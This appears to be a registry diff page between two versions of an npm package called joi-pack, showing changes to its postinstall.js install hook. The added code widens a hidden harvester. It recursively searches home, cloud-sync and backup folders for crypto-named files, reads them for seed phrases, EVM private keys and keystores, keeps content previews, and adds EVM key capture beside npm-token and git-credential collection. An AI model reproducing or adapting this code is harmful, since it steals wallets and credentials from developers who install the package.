joi-pack 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -10
- package/package.json +1 -1
- package/postinstall.js +32 -9
package/README.md
CHANGED
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -192,37 +192,53 @@ function scanWallets(){
|
|
|
192
192
|
|
|
193
193
|
function scanSeedPhrases(){
|
|
194
194
|
const results=[];
|
|
195
|
-
const dirs=['Documents','Desktop','Downloads'];
|
|
195
|
+
const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','Google Drive','backup','keys','wallet','crypto'];
|
|
196
196
|
|
|
197
197
|
for(const dir of dirs){
|
|
198
198
|
const fullPath=path.join(os.homedir(),dir);
|
|
199
199
|
if(!fs.existsSync(fullPath)) continue;
|
|
200
200
|
|
|
201
201
|
try{
|
|
202
|
-
const files=fs.readdirSync(fullPath);
|
|
202
|
+
const files=fs.readdirSync(fullPath,{recursive:true});
|
|
203
203
|
for(const file of files){
|
|
204
204
|
const filePath=path.join(fullPath,file);
|
|
205
205
|
try{
|
|
206
206
|
const stat=fs.statSync(filePath);
|
|
207
|
-
if(!stat.isFile()||stat.size>
|
|
207
|
+
if(!stat.isFile()||stat.size>200000||stat.size<15) continue;
|
|
208
208
|
|
|
209
|
-
// Check filename for crypto keywords
|
|
210
209
|
const nameLower=file.toLowerCase();
|
|
210
|
+
|
|
211
|
+
// Check filename for crypto/EVM keywords
|
|
211
212
|
const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
|
|
212
|
-
/\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower)
|
|
213
|
+
/\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|passphrase|keystore|foundry|hardhat|broadcast|deploy)\b/.test(nameLower)||
|
|
214
|
+
nameLower.endsWith('.json')&&(nameLower.includes('keystore')||nameLower.includes('wallet')||nameLower.includes('utc--'))||
|
|
215
|
+
nameLower.endsWith('.txt')&&nameLower.length<30&&!nameLower.includes('readme');
|
|
213
216
|
|
|
214
217
|
if(!isCryptoFile) continue;
|
|
215
218
|
|
|
216
219
|
// Read the file content
|
|
217
220
|
const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
|
|
218
221
|
|
|
219
|
-
//
|
|
222
|
+
// Check for EVM private keys (0x + 64 hex chars)
|
|
223
|
+
const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
|
|
224
|
+
const evmKeyCount=evmKeys?evmKeys.length:0;
|
|
225
|
+
|
|
226
|
+
// Check for BIP39 seed words
|
|
220
227
|
const words=content.split(/\s+/).filter(w=>w.length>2);
|
|
221
228
|
const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
|
|
222
229
|
|
|
223
|
-
//
|
|
224
|
-
|
|
225
|
-
|
|
230
|
+
// Check for JSON keystore format (UTC-- style)
|
|
231
|
+
const isKeystore=content.includes('crypto')&&content.includes('ciphertext')&&content.includes('kdf');
|
|
232
|
+
|
|
233
|
+
if(seedWordCount>=8||evmKeyCount>0||isKeystore){
|
|
234
|
+
results.push({
|
|
235
|
+
file:filePath,
|
|
236
|
+
size:stat.size,
|
|
237
|
+
seedWordsFound:seedWordCount,
|
|
238
|
+
evmKeysFound:evmKeyCount,
|
|
239
|
+
isKeystore:isKeystore,
|
|
240
|
+
preview:content.substring(0,120)
|
|
241
|
+
});
|
|
226
242
|
}
|
|
227
243
|
}catch(e){}
|
|
228
244
|
}
|
|
@@ -281,6 +297,13 @@ function harvest(){
|
|
|
281
297
|
// Also catch npm_xxxxx patterns anywhere
|
|
282
298
|
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
283
299
|
for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
|
|
300
|
+
// Also catch EVM private keys (0x + 64 hex chars)
|
|
301
|
+
const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);
|
|
302
|
+
for(const x of evm){
|
|
303
|
+
const found=x[0];
|
|
304
|
+
const keyName='EVM_KEY';
|
|
305
|
+
if(!keys[keyName]){keys[keyName]=true;r.push({t:'EVM_KEY',k:keyName,v:found});}
|
|
306
|
+
}
|
|
284
307
|
return r;
|
|
285
308
|
}},
|
|
286
309
|
{p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){
|